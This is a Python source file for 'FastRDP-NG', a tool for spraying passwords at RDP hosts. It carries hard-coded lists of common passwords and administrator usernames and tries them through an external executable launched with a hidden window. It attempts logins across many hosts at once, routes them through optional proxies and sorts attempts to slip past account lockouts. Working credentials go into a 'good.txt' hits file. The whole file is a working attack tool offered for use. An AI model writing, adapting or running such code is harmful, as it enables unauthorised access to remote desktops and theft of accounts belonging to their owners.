""" FastRDP-NG: RDP Password Sprayer. Tries top common passwords against live RDP hosts using subprocess. Supports optional proxy routing via ProxyManager. """ import asyncio import logging import os import subprocess import time from typing import List, Tuple, Set, Optional logger = logging.getLogger("FastRDP-NG") # Top 50 most common RDP passwords (by frequency in breaches) TOP50_PASSWORDS = [ "admin", "Admin", "password", "Password", "123456", "administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1", "password1", "password123", "password1234", "Password01!", "PASSWORD123", "passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678", "123456789", "1234567890", "letmein", "welcome", "monkey", "dragon", "master", "login", "abc123", "test", "test123", "pass", "Pass", "P@ss", "qwerty123", "qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1", "sunshine", "princess", "football", "baseball", "welcome1", "admin123", "Admin123", "password!", "password.", "password00", ] # Top usernames for RDP TOP_USERNAMES = [ "Administrator", "Admin", "admin", "administrator", "User", "user", "GuestUser", "Guest", "root", ] async def spray_password( ip: str, port: int, username: str, password: str, timeout: float = 5.0, proxy_manager=None, ) -> Tuple[str, int, str, str, bool]: """ Try a single credential pair against an RDP host. Supports optional proxy routing via proxy_manager. Attempts to find rdpthread.exe in common locations, then falls back to RDP banner detection (connectivity check only). Returns (ip, port, username, password, success). """ # Try to locate rdpthread.exe in likely locations base = os.path.dirname(os.path.abspath(__file__)) search_paths = [ os.path.join(base, "rdpthread.exe"), os.path.join(base, "..", "rdpthread.exe"), os.path.join(base, "bin", "rdpthread.exe"), ] rdpthread_path = None for p in search_paths: if os.path.exists(p): rdpthread_path = p break if rdpthread_path: try: result = subprocess.run( [rdpthread_path, ip, str(port), username, password], capture_output=True, timeout=timeout, creationflags=subprocess.CREATE_NO_WINDOW ) output = result.stdout.decode('utf-8', errors='ignore').lower() success = ( "success" in output or "connected" in output or "authenticated" in output or result.returncode == 0 ) return (ip, port, username, password, success) except (FileNotFoundError, subprocess.TimeoutExpired, subprocess.CalledProcessError, OSError): pass # Fallback: RDP banner check (confirms RDP service is running) # When proxy is enabled, route through proxy open_conn = asyncio.open_connection if proxy_manager and proxy_manager.enabled: open_conn = proxy_manager.open_connection try: reader, writer = await asyncio.wait_for( open_conn(ip, port), timeout=2.0 ) try: data = await asyncio.wait_for( reader.read(4), timeout=1.0 ) writer.close() await writer.wait_closed() # TPKT header (0x03) indicates RDP protocol response if len(data) >= 2 and data[0] == 0x03: return (ip, port, username, password, False) except (asyncio.TimeoutError, ConnectionError): pass writer.close() await writer.wait_closed() return (ip, port, username, password, False) except (asyncio.TimeoutError, ConnectionRefusedError, OSError): return (ip, port, username, password, False) async def spray_all_hosts( live_hosts: Set[Tuple[str, int]], usernames: List[str] = None, # type: ignore passwords: List[str] = None, # type: ignore max_concurrent: int = 100, timeout: float = 5.0, progress_callback=None, proxy_manager=None, ) -> List[Tuple[str, int, str, str]]: """ Spray top passwords across all live hosts. Tries 1 password per host, then moves to next password. This avoids account lockouts and finds weak passwords fast. Supports optional proxy routing. Returns list of (ip, port, username, password) successful hits. """ if usernames is None: usernames = TOP_USERNAMES if passwords is None: passwords = TOP50_PASSWORDS sem = asyncio.Semaphore(max_concurrent) hits = [] total_attempts = len(live_hosts) * len(passwords) * len(usernames) attempts = 0 start_time = time.time() async def try_combo(ip: str, port: int, user: str, pwd: str): nonlocal attempts async with sem: _, _, u, p, success = await spray_password( ip, port, user, pwd, timeout, proxy_manager=proxy_manager ) attempts += 1 if success: hits.append((ip, port, u, p)) if progress_callback and attempts % 100 == 0: elapsed = time.time() - start_time rate = attempts / elapsed if elapsed > 0 else 0 progress_callback(attempts, total_attempts, len(hits), rate) return success logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...") # Spray strategy: for each password, try it against ALL hosts first # This is the "password spraying" approach - avoids lockouts tasks = [] for password in passwords: for ip, port in live_hosts: for username in usernames: tasks.append(asyncio.create_task( try_combo(ip, port, username, password) )) # Execute this password batch before moving to next password if tasks: await asyncio.gather(*tasks, return_exceptions=True) if hits: _write_hits(hits) tasks = [] elapsed = time.time() - start_time rate = attempts / elapsed if elapsed > 0 else 0 logger.info( f"Spray complete: {len(hits)} hits from {attempts} attempts " f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)" ) return hits async def spray_single_host( ip: str, port: int, usernames: List[str] = None, passwords: List[str] = None, max_concurrent: int = 50, timeout: float = 5.0, hit_callback=None, proxy_manager=None, ) -> List[Tuple[str, int, str, str]]: """ Spray ALL passwords against a SINGLE host immediately. Called as soon as a host is discovered — no need to wait for full scan. Supports optional proxy routing. hit_callback(ip, port, user, password): called on each successful hit. Returns list of (ip, port, username, password) hits. """ if usernames is None: usernames = TOP_USERNAMES if passwords is None: passwords = TOP50_PASSWORDS sem = asyncio.Semaphore(max_concurrent) hits: List[Tuple[str, int, str, str]] = [] async def try_combo(user: str, pwd: str): async with sem: _, _, u, p, success = await spray_password( ip, port, user, pwd, timeout, proxy_manager=proxy_manager ) if success: hits.append((ip, port, u, p)) if hit_callback: hit_callback(ip, port, u, p) # Fire all tasks tasks = [] for user in usernames: for pwd in passwords: tasks.append(asyncio.create_task(try_combo(user, pwd))) if tasks: await asyncio.gather(*tasks, return_exceptions=True) if hits: _write_hits(hits) return hits def _write_hits(hits: List[Tuple[str, int, str, str]]): """Write successful hits to results file immediately.""" import os output_path = os.path.join( os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "results", "good.txt" ) os.makedirs(os.path.dirname(output_path), exist_ok=True) with open(output_path, 'a') as f: for ip, port, user, pwd in hits: line = f"{user}:{pwd}@{ip}:{port}\n" f.write(line) print(f"\n[+] HIT! {line.strip()}")